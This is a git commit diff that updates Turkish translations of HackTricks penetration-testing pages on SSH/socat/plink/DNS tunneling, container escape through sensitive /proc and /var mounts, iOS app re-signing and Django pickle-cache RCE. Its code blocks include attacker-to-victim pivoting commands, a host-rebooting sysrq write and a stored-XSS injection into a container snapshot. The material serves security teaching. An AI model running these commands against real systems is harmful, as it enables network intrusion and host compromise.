mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-hacking/tunneling-and-port-forwarding.md', 'src
This commit is contained in:
parent
4ab7af30d4
commit
fa4296e7ce
@ -5,7 +5,7 @@
|
|||||||
## Nmap ipucu
|
## Nmap ipucu
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> **ICMP** ve **SYN** taramaları socks proxy'leri üzerinden tünellenemez, bu nedenle **ping keşfini devre dışı bırakmalıyız** (`-Pn`) ve bunun çalışması için **TCP taramalarını** (`-sT`) belirtmeliyiz.
|
> **ICMP** ve **SYN** taramaları socks proxy'leri üzerinden tünellenemez, bu nedenle **ping keşfini devre dışı bırakmalıyız** (`-Pn`) ve bunun çalışması için **TCP taramaları** (`-sT`) belirtmeliyiz.
|
||||||
|
|
||||||
## **Bash**
|
## **Bash**
|
||||||
|
|
||||||
@ -89,12 +89,12 @@ route add -net 10.0.0.0/16 gw 1.1.1.1
|
|||||||
```
|
```
|
||||||
> [!NOTE]
|
> [!NOTE]
|
||||||
> **Güvenlik – Terrapin Saldırısı (CVE-2023-48795)**
|
> **Güvenlik – Terrapin Saldırısı (CVE-2023-48795)**
|
||||||
> 2023 Terrapin geri alma saldırısı, bir adam-arada saldırganın erken SSH el sıkışmasını bozmasına ve **herhangi bir yönlendirilmiş kanala** ( `-L`, `-R`, `-D` ) veri enjekte etmesine olanak tanıyabilir. Hem istemcinin hem de sunucunun yamanmış olduğundan emin olun (**OpenSSH ≥ 9.6/LibreSSH 6.7**) veya SSH tünellerine güvenmeden önce savunmasız `chacha20-poly1305@openssh.com` ve `*-etm@openssh.com` algoritmalarını `sshd_config`/`ssh_config` içinde açıkça devre dışı bırakın.
|
> 2023 Terrapin geri alma saldırısı, bir adam-arada saldırganın erken SSH el sıkışmasını bozmasına ve **herhangi bir yönlendirilmiş kanala** veri enjekte etmesine olanak tanıyabilir ( `-L`, `-R`, `-D` ). Hem istemcinin hem de sunucunun yamanmış olduğundan emin olun (**OpenSSH ≥ 9.6/LibreSSH 6.7**) veya SSH tünellerine güvenmeden önce savunmasız `chacha20-poly1305@openssh.com` ve `*-etm@openssh.com` algoritmalarını `sshd_config`/`ssh_config` içinde açıkça devre dışı bırakın.
|
||||||
|
|
||||||
## SSHUTTLE
|
## SSHUTTLE
|
||||||
|
|
||||||
Bir ana bilgisayar üzerinden **ssh** ile tüm **trafik**i bir **alt ağa** **tünelleme** yapabilirsiniz.\
|
Bir ana bilgisayar üzerinden **ssh** ile tüm **trafik**i bir **alt ağa** **tünelleme** yapabilirsiniz.\
|
||||||
Örneğin, 10.10.10.0/24 adresine giden tüm trafiği yönlendirmek
|
Örneğin, 10.10.10.0/24 adresine giden tüm trafiği yönlendirmek.
|
||||||
```bash
|
```bash
|
||||||
pip install sshuttle
|
pip install sshuttle
|
||||||
sshuttle -r user@host 10.10.10.10/24
|
sshuttle -r user@host 10.10.10.10/24
|
||||||
@ -300,7 +300,7 @@ OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacke
|
|||||||
|
|
||||||
**/bin/sh konsolu**
|
**/bin/sh konsolu**
|
||||||
|
|
||||||
Her iki tarafta da: İstemci ve Sunucu için sertifikalar oluşturun
|
Her iki tarafta da: İstemci ve Sunucu için sertifikalar oluşturun.
|
||||||
```bash
|
```bash
|
||||||
# Execute these commands on both sides
|
# Execute these commands on both sides
|
||||||
FILENAME=socatssl
|
FILENAME=socatssl
|
||||||
@ -324,9 +324,9 @@ attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh o
|
|||||||
```
|
```
|
||||||
## Plink.exe
|
## Plink.exe
|
||||||
|
|
||||||
Konsol PuTTY versiyonu gibidir (seçenekler bir ssh istemcisine çok benzer).
|
Konsol PuTTY versiyonuna benzer (seçenekler bir ssh istemcisine çok benzer).
|
||||||
|
|
||||||
Bu ikili dosya kurban üzerinde çalıştırılacağından ve bir ssh istemcisi olduğundan, ters bağlantı kurabilmemiz için ssh hizmetimizi ve portumuzu açmamız gerekiyor. Ardından, yalnızca yerel olarak erişilebilir bir portu makinemizdeki bir porta yönlendirmek için:
|
Bu ikili dosya kurban üzerinde çalıştırılacağı için ve bir ssh istemcisi olduğu için, ters bağlantı kurabilmemiz için ssh hizmetimizi ve portumuzu açmamız gerekiyor. Ardından, yalnızca yerel olarak erişilebilir bir portu makinemizdeki bir porta yönlendirmek için:
|
||||||
```bash
|
```bash
|
||||||
echo y | plink.exe -l <Our_valid_username> -pw <valid_password> [-p <port>] -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
|
echo y | plink.exe -l <Our_valid_username> -pw <valid_password> [-p <port>] -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
|
||||||
echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090
|
echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090
|
||||||
@ -347,7 +347,7 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
|
|||||||
```
|
```
|
||||||
## SocksOverRDP & Proxifier
|
## SocksOverRDP & Proxifier
|
||||||
|
|
||||||
**Sisteme RDP erişiminiz olmalıdır.**\
|
Sistemde **RDP erişimine sahip olmalısınız**.\
|
||||||
İndirin:
|
İndirin:
|
||||||
|
|
||||||
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - Bu araç, Windows'un Uzak Masaüstü Servisi özelliğinden `Dynamic Virtual Channels` (`DVC`) kullanır. DVC, **RDP bağlantısı üzerinden paketleri tünellemekten** sorumludur.
|
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - Bu araç, Windows'un Uzak Masaüstü Servisi özelliğinden `Dynamic Virtual Channels` (`DVC`) kullanır. DVC, **RDP bağlantısı üzerinden paketleri tünellemekten** sorumludur.
|
||||||
@ -358,9 +358,9 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
|
|||||||
# Load SocksOverRDP.dll using regsvr32.exe
|
# Load SocksOverRDP.dll using regsvr32.exe
|
||||||
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
|
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
|
||||||
```
|
```
|
||||||
Artık **`mstsc.exe`** kullanarak **RDP** üzerinden **kurban** ile **bağlanabiliriz** ve **SocksOverRDP eklentisinin etkin olduğu** belirten bir **istem** alacağız, bu **127.0.0.1:1080** adresinde **dinleyecektir**.
|
Artık **`mstsc.exe`** kullanarak **RDP** üzerinden **kurban** ile **bağlanabiliriz** ve **SocksOverRDP eklentisinin etkin olduğu** belirten bir **istem** alacağız ve bu **127.0.0.1:1080** adresinde **dinleyecektir**.
|
||||||
|
|
||||||
**RDP** üzerinden **bağlanın** ve kurban makinesine `SocksOverRDP-Server.exe` ikili dosyasını yükleyip çalıştırın:
|
**RDP** üzerinden **bağlanın** ve kurban makinesine `SocksOverRDP-Server.exe` ikilisini yükleyip çalıştırın:
|
||||||
```
|
```
|
||||||
C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
|
C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
|
||||||
```
|
```
|
||||||
@ -387,7 +387,7 @@ http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
|
|||||||
|
|
||||||
[http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/)
|
[http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/)
|
||||||
|
|
||||||
Bir proxy'ye karşı kimlik doğrulaması yapar ve belirttiğiniz dış hizmete yönlendirilmiş olarak yerel olarak bir port bağlar. Ardından, bu port üzerinden tercih ettiğiniz aracı kullanabilirsiniz.\
|
Bir proxy'ye karşı kimlik doğrulaması yapar ve belirttiğiniz dış hizmete yönlendirilmiş yerel bir port bağlar. Ardından, bu port üzerinden tercih ettiğiniz aracı kullanabilirsiniz.\
|
||||||
Örneğin, 443 portunu yönlendirin.
|
Örneğin, 443 portunu yönlendirin.
|
||||||
```
|
```
|
||||||
Username Alice
|
Username Alice
|
||||||
@ -396,14 +396,14 @@ Domain CONTOSO.COM
|
|||||||
Proxy 10.0.0.10:8080
|
Proxy 10.0.0.10:8080
|
||||||
Tunnel 2222:<attackers_machine>:443
|
Tunnel 2222:<attackers_machine>:443
|
||||||
```
|
```
|
||||||
Şimdi, örneğin kurbanın **SSH** hizmetini 443 numaralı portta dinleyecek şekilde ayarlarsanız. Buna saldırganın 2222 numaralı portu üzerinden bağlanabilirsiniz.\
|
Şimdi, örneğin kurbanın **SSH** hizmetini 443 numaralı portta dinleyecek şekilde ayarlarsanız. Saldırgan 2222 numaralı port üzerinden buna bağlanabilirsiniz.\
|
||||||
Ayrıca, localhost:443'e bağlanan bir **meterpreter** kullanabilir ve saldırgan 2222 numaralı portta dinliyor olabilir.
|
Ayrıca, localhost:443'e bağlanan bir **meterpreter** kullanabilir ve saldırgan 2222 numaralı portta dinliyor olabilir.
|
||||||
|
|
||||||
## YARP
|
## YARP
|
||||||
|
|
||||||
Microsoft tarafından oluşturulmuş bir ters proxy. Bunu burada bulabilirsiniz: [https://github.com/microsoft/reverse-proxy](https://github.com/microsoft/reverse-proxy)
|
Microsoft tarafından oluşturulmuş bir ters proxy. Bunu burada bulabilirsiniz: [https://github.com/microsoft/reverse-proxy](https://github.com/microsoft/reverse-proxy)
|
||||||
|
|
||||||
## DNS Tunneling
|
## DNS Tünelleme
|
||||||
|
|
||||||
### Iodine
|
### Iodine
|
||||||
|
|
||||||
@ -415,7 +415,7 @@ attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
|
|||||||
victim> iodine -f -P P@ssw0rd tunneldomain.com -r
|
victim> iodine -f -P P@ssw0rd tunneldomain.com -r
|
||||||
#You can see the victim at 1.1.1.2
|
#You can see the victim at 1.1.1.2
|
||||||
```
|
```
|
||||||
Tünel çok yavaş olacak. Bu tünel üzerinden sıkıştırılmış bir SSH bağlantısı oluşturmak için şunu kullanabilirsiniz:
|
Tünel çok yavaş olacaktır. Bu tünel üzerinden sıkıştırılmış bir SSH bağlantısı oluşturmak için şunu kullanabilirsiniz:
|
||||||
```
|
```
|
||||||
ssh <user>@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080
|
ssh <user>@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080
|
||||||
```
|
```
|
||||||
@ -483,7 +483,7 @@ ssh -D 9050 -p 2222 -l user 127.0.0.1
|
|||||||
```
|
```
|
||||||
## ngrok
|
## ngrok
|
||||||
|
|
||||||
[**ngrok**](https://ngrok.com/) **bir komut satırı ile çözümleri internete açmak için bir araçtır.**\
|
[**ngrok**](https://ngrok.com/) **bir komut satırı ile çözümleri İnternete açmak için bir araçtır.**\
|
||||||
_Exposition URI şöyle görünür:_ **UID.ngrok.io**
|
_Exposition URI şöyle görünür:_ **UID.ngrok.io**
|
||||||
|
|
||||||
### Kurulum
|
### Kurulum
|
||||||
@ -547,7 +547,7 @@ addr: file:///tmp/httpbin/
|
|||||||
```
|
```
|
||||||
## Cloudflared (Cloudflare Tüneli)
|
## Cloudflared (Cloudflare Tüneli)
|
||||||
|
|
||||||
Cloudflare’ın `cloudflared` daemon'u, **yerel TCP/UDP hizmetlerini** dışa açan tüneller oluşturabilir ve bu, Cloudflare’ın kenarını buluşma noktası olarak kullanarak, gelen güvenlik duvarı kurallarına ihtiyaç duymadan yapılır. Bu, çıkış güvenlik duvarının yalnızca HTTPS trafiğine izin verdiği ancak gelen bağlantıların engellendiği durumlarda oldukça kullanışlıdır.
|
Cloudflare’ın `cloudflared` daemon'u, **yerel TCP/UDP hizmetlerini** dışa açan tüneller oluşturabilir; bu, Cloudflare’ın kenarını buluşma noktası olarak kullanarak, gelen güvenlik duvarı kurallarına ihtiyaç duymadan yapılır. Bu, çıkış güvenlik duvarının yalnızca HTTPS trafiğine izin verdiği ancak gelen bağlantıların engellendiği durumlarda oldukça kullanışlıdır.
|
||||||
|
|
||||||
### Hızlı tünel tek satır komutu
|
### Hızlı tünel tek satır komutu
|
||||||
```bash
|
```bash
|
||||||
|
|||||||
@ -2,9 +2,9 @@
|
|||||||
|
|
||||||
{{#include ../../../../banners/hacktricks-training.md}}
|
{{#include ../../../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
`/proc`, `/sys` ve `/var`'ın uygun namespace izolasyonu olmadan açılması, saldırı yüzeyinin genişlemesi ve bilgi sızdırma gibi önemli güvenlik riskleri oluşturur. Bu dizinler, yanlış yapılandırıldığında veya yetkisiz bir kullanıcı tarafından erişildiğinde, konteyner kaçışına, ana makine değişikliğine veya daha fazla saldırıyı destekleyen bilgilerin sağlanmasına yol açabilecek hassas dosyalar içerir. Örneğin, `-v /proc:/host/proc` yanlış bir şekilde monte edilirse, yol tabanlı doğası nedeniyle AppArmor korumasını atlayabilir ve `/host/proc`'ı korumasız bırakabilir.
|
`/proc`, `/sys` ve `/var`'ın uygun namespace izolasyonu olmadan açılması, saldırı yüzeyinin genişlemesi ve bilgi sızdırma gibi önemli güvenlik riskleri oluşturur. Bu dizinler, yanlış yapılandırıldığında veya yetkisiz bir kullanıcı tarafından erişildiğinde, konteyner kaçışı, ana makine değişikliği veya daha fazla saldırıyı destekleyen bilgilerin sağlanmasına yol açabilecek hassas dosyalar içerir. Örneğin, `-v /proc:/host/proc` yanlış bir şekilde monte edilirse, yol tabanlı doğası nedeniyle AppArmor korumasını atlayabilir ve `/host/proc`'ı korumasız bırakabilir.
|
||||||
|
|
||||||
**Her potansiyel zafiyetin daha fazla detayını bulabilirsiniz** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.**
|
**Her potansiyel zafiyetin daha fazla detayını** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)** adresinde bulabilirsiniz.**
|
||||||
|
|
||||||
## procfs Vulnerabilities
|
## procfs Vulnerabilities
|
||||||
|
|
||||||
@ -55,7 +55,7 @@ ls -l $(cat /proc/sys/kernel/modprobe) # modprobe erişimini kontrol et
|
|||||||
#### **`/proc/sys/fs`**
|
#### **`/proc/sys/fs`**
|
||||||
|
|
||||||
- [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) gereğince, dosya sistemi hakkında seçenekler ve bilgiler içerir.
|
- [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) gereğince, dosya sistemi hakkında seçenekler ve bilgiler içerir.
|
||||||
- Yazma erişimi, ana makineye karşı çeşitli hizmet reddi saldırılarını etkinleştirebilir.
|
- Yazma erişimi, ana makineye karşı çeşitli hizmet reddi saldırılarını mümkün kılabilir.
|
||||||
|
|
||||||
#### **`/proc/sys/fs/binfmt_misc`**
|
#### **`/proc/sys/fs/binfmt_misc`**
|
||||||
|
|
||||||
@ -70,7 +70,7 @@ ls -l $(cat /proc/sys/kernel/modprobe) # modprobe erişimini kontrol et
|
|||||||
#### **`/proc/config.gz`**
|
#### **`/proc/config.gz`**
|
||||||
|
|
||||||
- `CONFIG_IKCONFIG_PROC` etkinse kernel yapılandırmasını açığa çıkarabilir.
|
- `CONFIG_IKCONFIG_PROC` etkinse kernel yapılandırmasını açığa çıkarabilir.
|
||||||
- Saldırganların çalışan kernel'deki zayıflıkları tanımlaması için faydalıdır.
|
- Saldırganlar için çalışan kernel'deki zayıflıkları tanımlamakta faydalıdır.
|
||||||
|
|
||||||
#### **`/proc/sysrq-trigger`**
|
#### **`/proc/sysrq-trigger`**
|
||||||
|
|
||||||
@ -96,24 +96,24 @@ echo b > /proc/sysrq-trigger # Ana makineyi yeniden başlatır
|
|||||||
#### **`/proc/[pid]/mem`**
|
#### **`/proc/[pid]/mem`**
|
||||||
|
|
||||||
- Kernel bellek cihazı `/dev/mem` ile arayüz sağlar.
|
- Kernel bellek cihazı `/dev/mem` ile arayüz sağlar.
|
||||||
- Tarihsel olarak ayrıcalık yükselme saldırılarına karşı savunmasızdır.
|
- Tarihsel olarak ayrıcalık yükseltme saldırılarına karşı savunmasızdır.
|
||||||
- Daha fazla bilgi için [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
- Daha fazla bilgi için [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||||
|
|
||||||
#### **`/proc/kcore`**
|
#### **`/proc/kcore`**
|
||||||
|
|
||||||
- Sisteminin fiziksel belleğini ELF core formatında temsil eder.
|
- Sistemin fiziksel belleğini ELF çekirdek formatında temsil eder.
|
||||||
- Okuma, ana makine ve diğer konteynerlerin bellek içeriklerini sızdırabilir.
|
- Okuma, ana makine ve diğer konteynerlerin bellek içeriklerini sızdırabilir.
|
||||||
- Büyük dosya boyutu okuma sorunlarına veya yazılım çökmesine yol açabilir.
|
- Büyük dosya boyutu okuma sorunlarına veya yazılım çökmesine yol açabilir.
|
||||||
- Detaylı kullanım için [Dumping /proc/kcore in 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/) bağlantısına bakın.
|
- Detaylı kullanım için [Dumping /proc/kcore in 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/) bağlantısına bakın.
|
||||||
|
|
||||||
#### **`/proc/kmem`**
|
#### **`/proc/kmem`**
|
||||||
|
|
||||||
- Kernel sanal belleğini temsil eden `/dev/kmem` için alternatif bir arayüz.
|
- Kernel sanal belleğini temsil eden `/dev/kmem` için alternatif bir arayüzdür.
|
||||||
- Okuma ve yazma işlemlerine izin verir, dolayısıyla kernel belleğinin doğrudan değiştirilmesine olanak tanır.
|
- Okuma ve yazma işlemlerine izin verir, dolayısıyla kernel belleğinin doğrudan değiştirilmesine olanak tanır.
|
||||||
|
|
||||||
#### **`/proc/mem`**
|
#### **`/proc/mem`**
|
||||||
|
|
||||||
- Fiziksel belleği temsil eden `/dev/mem` için alternatif bir arayüz.
|
- Fiziksel belleği temsil eden `/dev/mem` için alternatif bir arayüzdür.
|
||||||
- Okuma ve yazma işlemlerine izin verir, tüm belleğin değiştirilmesi sanal adreslerin fiziksel adreslere dönüştürülmesini gerektirir.
|
- Okuma ve yazma işlemlerine izin verir, tüm belleğin değiştirilmesi sanal adreslerin fiziksel adreslere dönüştürülmesini gerektirir.
|
||||||
|
|
||||||
#### **`/proc/sched_debug`**
|
#### **`/proc/sched_debug`**
|
||||||
@ -231,7 +231,8 @@ REFRESH_TOKEN_SECRET=14<SNIP>ea
|
|||||||
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/share/nginx/html/index.html
|
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/share/nginx/html/index.html
|
||||||
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/132/fs/usr/share/nginx/html/index.html
|
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/132/fs/usr/share/nginx/html/index.html
|
||||||
|
|
||||||
/ # echo '<!DOCTYPE html><html lang="tr"><head><script>alert("Stored XSS!")</script></head></html>' > /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/share/nginx/html/index2.html
|
/ # echo '<!DOCTYPE html><html lang="tr"><head><script>alert("Stored XSS!")</script></head></html>' > /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/sh
|
||||||
|
are/nginx/html/index2.html
|
||||||
```
|
```
|
||||||
|
|
||||||
The XSS was achieved:
|
The XSS was achieved:
|
||||||
|
|||||||
@ -6,7 +6,7 @@
|
|||||||
|
|
||||||
**`get_task_allow`** yetkisi ile imzalanmış uygulamalar, üçüncü taraf uygulamaların **`task_for_pid()`** adlı bir fonksiyonu, başlangıç uygulamasının işlem kimliği ile argüman olarak çalıştırmasına izin verir; böylece üzerinde görev portunu alabilir (onu kontrol edebilir ve belleğine erişebilir).
|
**`get_task_allow`** yetkisi ile imzalanmış uygulamalar, üçüncü taraf uygulamaların **`task_for_pid()`** adlı bir fonksiyonu, başlangıç uygulamasının işlem kimliği ile argüman olarak çalıştırmasına izin verir; böylece üzerinde görev portunu alabilir (onu kontrol edebilir ve belleğine erişebilir).
|
||||||
|
|
||||||
Ancak, IPA'yı çekip, yetki ile yeniden imzalayıp cihazınıza geri yüklemek o kadar kolay değil. Bunun nedeni FairPlay korumasıdır. Uygulamanın imzası değiştiğinde, DRM (Dijital Haklar Yönetimi) anahtarı **geçersiz hale gelir ve uygulama çalışmaz**.
|
Ancak, IPA'yı çekip, yetki ile yeniden imzalayıp cihazınıza geri yüklemek o kadar kolay değildir. Bunun nedeni FairPlay korumasıdır. Uygulamanın imzası değiştiğinde, DRM (Dijital Haklar Yönetimi) anahtarı **geçersiz hale gelir ve uygulama çalışmaz**.
|
||||||
|
|
||||||
Eski bir jailbreak'li cihazda, IPA'yı yüklemek, **favori aracınızı kullanarak şifre çözmek** (örneğin Iridium veya frida-ios-dump gibi) ve cihazdan geri almak mümkündür. Ancak, mümkünse, şifrelenmemiş IPA için sadece istemci olarak talep edilmesi önerilir.
|
Eski bir jailbreak'li cihazda, IPA'yı yüklemek, **favori aracınızı kullanarak şifre çözmek** (örneğin Iridium veya frida-ios-dump gibi) ve cihazdan geri almak mümkündür. Ancak, mümkünse, şifrelenmemiş IPA için sadece istemci olarak talep edilmesi önerilir.
|
||||||
|
|
||||||
@ -47,11 +47,11 @@ Not edin ki, herhangi bir `invalid signature` hatasını önlemek için Cydia'da
|
|||||||
Yüklendikten sonra, şifrelenmemiş IPA'yı elde etmek için Cydia'dan **Iridium tweak**'i kullanabilirsiniz.
|
Yüklendikten sonra, şifrelenmemiş IPA'yı elde etmek için Cydia'dan **Iridium tweak**'i kullanabilirsiniz.
|
||||||
|
|
||||||
|
|
||||||
### Yetkilendirmeleri Yamanla ve Yeniden İmzala
|
### İzinleri yamanla ve yeniden imzala
|
||||||
|
|
||||||
`get-task-allow` yetkilendirmesi ile uygulamayı yeniden imzalamak için `app-signer`, `codesign` ve `iResign` gibi çeşitli araçlar mevcuttur. `app-signer`, yeniden imzalanacak IPA dosyasını belirtip, **`get-taks-allow`** ekleyerek ve kullanılacak sertifika ve dağıtım profili ile çok kolay bir şekilde yeniden imzalamaya olanak tanıyan kullanıcı dostu bir arayüze sahiptir.
|
`get-task-allow` izni ile uygulamayı yeniden imzalamak için `app-signer`, `codesign` ve `iResign` gibi çeşitli araçlar mevcuttur. `app-signer`, yeniden imzalanacak IPA dosyasını belirtip, **`get-task-allow`** ekleyerek ve kullanılacak sertifika ve dağıtım profili ile çok kolay bir şekilde IPA dosyasını yeniden imzalamaya olanak tanıyan çok kullanıcı dostu bir arayüze sahiptir.
|
||||||
|
|
||||||
Sertifika ve imzalama profilleri ile ilgili olarak, Apple Xcode aracılığıyla tüm hesaplar için **ücretsiz geliştirici imzalama profilleri** sunmaktadır. Sadece bir uygulama oluşturun ve bir tane yapılandırın. Ardından, `Ayarlar` → `Gizlilik ve Güvenlik` bölümüne giderek **iPhone'un geliştirici uygulamalarını güvenilir hale getirmesini** sağlayın ve `Geliştirici Modu`na tıklayın.
|
Sertifika ve imzalama profilleri ile ilgili olarak, Apple Xcode aracılığıyla tüm hesaplar için **ücretsiz geliştirici imzalama profilleri** sunmaktadır. Sadece bir uygulama oluşturun ve bir tane yapılandırın. Ardından, `Ayarlar` → `Gizlilik ve Güvenlik` yolunu izleyerek **iPhone'un geliştirici uygulamalarını güvenilir hale getirmesini** sağlayın ve `Geliştirici Modu`na tıklayın.
|
||||||
|
|
||||||
Yeniden imzalanmış IPA ile, onu cihazda kurup pentest yapmak için zamanı geldi:
|
Yeniden imzalanmış IPA ile, onu cihazda kurup pentest yapmak için zamanı geldi:
|
||||||
```bash
|
```bash
|
||||||
@ -74,8 +74,8 @@ Geliştirici Modu, devre dışı bırakılana veya telefon silinene kadar aktif
|
|||||||
Artık jailbreak olmadan yan yükleme yapmak ve yeniden imzalanmış IP'leri güncel tutmak için birkaç olgun yol bulunmaktadır:
|
Artık jailbreak olmadan yan yükleme yapmak ve yeniden imzalanmış IP'leri güncel tutmak için birkaç olgun yol bulunmaktadır:
|
||||||
|
|
||||||
| Araç | Gereksinimler | Güçlü Yönler | Sınırlamalar |
|
| Araç | Gereksinimler | Güçlü Yönler | Sınırlamalar |
|
||||||
|------|--------------|-----------|-------------|
|
|------|---------------|--------------|--------------|
|
||||||
| **AltStore 2 / SideStore** | IPA'yı her 7 günde ücretsiz bir geliştirici profili ile yeniden imzalayan macOS/Windows/Linux eşlikçisi | Wi-Fi üzerinden otomatik yeniden yükleme, iOS 17'ye kadar çalışır | Aynı ağda bilgisayar gerektirir, Apple tarafından 3 uygulama limiti uygulanır |
|
| **AltStore 2 / SideStore** | IPA'yı her 7 günde ücretsiz bir geliştirici profili ile yeniden imzalayan macOS/Windows/Linux eşlikçisi | Wi-Fi üzerinden otomatik yeniden yükleme, iOS 17'ye kadar çalışır | Aynı ağda bilgisayar gerektirir, Apple tarafından 3 uygulama limiti uygulanmıştır |
|
||||||
| **TrollStore 1/2** | CoreTrust hatasına karşı savunmasız iOS 14 – 15.4.1 cihazı | *Kalıcı* imzalama (7 günlük limit yok); kurulduktan sonra bilgisayar gerekmez | iOS 15.5+ üzerinde desteklenmiyor (hata yamanmış) |
|
| **TrollStore 1/2** | CoreTrust hatasına karşı savunmasız iOS 14 – 15.4.1 cihazı | *Kalıcı* imzalama (7 günlük limit yok); kurulduktan sonra bilgisayar gerekmez | iOS 15.5+ üzerinde desteklenmiyor (hata yamanmış) |
|
||||||
|
|
||||||
Mevcut iOS sürümlerinde rutin pentestler için Alt/Side-Store genellikle en pratik seçimdir.
|
Mevcut iOS sürümlerinde rutin pentestler için Alt/Side-Store genellikle en pratik seçimdir.
|
||||||
@ -104,9 +104,9 @@ opensecurity/mobile-security-framework-mobsf:latest
|
|||||||
```
|
```
|
||||||
MobSF, ikili dosyayı otomatik olarak dağıtacak, uygulama sandbox'ında bir Frida sunucusu etkinleştirecek ve etkileşimli bir rapor oluşturacaktır.
|
MobSF, ikili dosyayı otomatik olarak dağıtacak, uygulama sandbox'ında bir Frida sunucusu etkinleştirecek ve etkileşimli bir rapor oluşturacaktır.
|
||||||
|
|
||||||
### iOS 17 & Kilit Modu uyarıları
|
### iOS 17 & Kilitlenme Modu uyarıları
|
||||||
|
|
||||||
* **Kilit Modu** (Ayarlar → Gizlilik & Güvenlik), dinamik bağlayıcının imzasız veya harici olarak imzalanmış dinamik kütüphaneleri yüklemesini engeller. Bu modun etkin olabileceği cihazları test ederken, **devre dışı** olduğundan emin olun, aksi takdirde Frida/objection oturumlarınız hemen sonlanacaktır.
|
* **Kilitlenme Modu** (Ayarlar → Gizlilik & Güvenlik), dinamik bağlayıcının imzasız veya harici olarak imzalanmış dinamik kütüphaneleri yüklemesini engeller. Bu modun etkin olabileceği cihazları test ederken, **devre dışı** olduğundan emin olun, aksi takdirde Frida/objection oturumlarınız hemen sona erecektir.
|
||||||
* Pointer Authentication (PAC), A12+ cihazlarda sistem genelinde uygulanmaktadır. Frida ≥16, PAC stripping'i şeffaf bir şekilde yönetir — yeni bir ana iOS sürümü çıktığında *frida-server* ve Python/CLI araç zincirinin güncel olduğundan emin olun.
|
* Pointer Authentication (PAC), A12+ cihazlarda sistem genelinde uygulanmaktadır. Frida ≥16, PAC stripping'i şeffaf bir şekilde yönetir — yeni bir ana iOS sürümü çıktığında *frida-server* ve Python/CLI araç zincirinin güncel olduğundan emin olun.
|
||||||
|
|
||||||
## Referanslar
|
## Referanslar
|
||||||
|
|||||||
@ -1,9 +1,9 @@
|
|||||||
# Django
|
# Django
|
||||||
|
|
||||||
{{#include /banners/hacktricks-training.md}}
|
{{#include /src/banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## Önbellek Manipülasyonu ile RCE
|
## Önbellek Manipülasyonu ile RCE
|
||||||
Django'nun varsayılan önbellek depolama yöntemi [Python pickles](https://docs.python.org/3/library/pickle.html) olup, [güvenilmeyen girişler unpickled](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf) olduğunda RCE'ye yol açabilir. **Eğer bir saldırgan önbelleğe yazma erişimi elde ederse, bu açığı temel sunucuda RCE'ye yükseltebilir**.
|
Django'nun varsayılan önbellek depolama yöntemi [Python pickles](https://docs.python.org/3/library/pickle.html) olup, [güvenilmeyen girdi unpickled](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf) olduğunda RCE'ye yol açabilir. **Eğer bir saldırgan önbelleğe yazma erişimi elde ederse, bu açığı alttaki sunucuda RCE'ye yükseltebilir**.
|
||||||
|
|
||||||
